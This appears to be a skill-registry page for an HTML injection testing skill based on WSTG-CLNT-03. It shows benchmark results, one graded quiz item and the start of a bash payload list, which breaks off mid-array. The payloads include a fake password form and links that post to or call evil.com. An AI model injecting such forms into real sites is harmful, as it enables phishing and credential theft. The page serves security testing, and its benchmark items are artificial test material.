Loading skill
Install any skill in seconds. Free to start, no credit card required.
Get Started Free →cyberstrikeus/wstg-clnt-03
Testing for HTML Injection
Passed 14 of 22 test cases with the skill, and 14 of 22 without it.
2 fixed12 passed either way6 still failing2 broke
Tokens, turns and time describe resource use, not a dollar price.
One of 2 test cases the skill fixed. Same model, same prompt, with and without the skill.
According to standard web security testing guidelines (WSTG-CLNT-03), what CVSS score and severity level are assigned when HTML injection leads only to visual defacement?
| Checked | Without skill | With skill |
|---|---|---|
| Specifies a CVSS score of 3.5 for visual defacement. | Missed | Passed |
The instructions your model reads when the skill loads.
WSTG-CLNT-03
Testing for HTML Injection
HTML injection allows attackers to inject arbitrary HTML content into web pages. While not as severe as XSS (no script execution), it can be used for phishing, defacement, or to manipulate page content to trick users.
#!/bin/bash
TARGET="https://target.com"
payloads=(
"<h1>Injected</h1>"
"<a href='https://evil.com'>Click here</a>"
"<form action='https://evil.com'><input name='password'><input type='submit'></form>"
"<img src='https://evil.com/logo.png'>"
"<marquee>HTML Injection</marquee>"
test cases passed, vs 14 / 22 without
More skills from the same source and nearby in the registry, with their headline benchmark lift.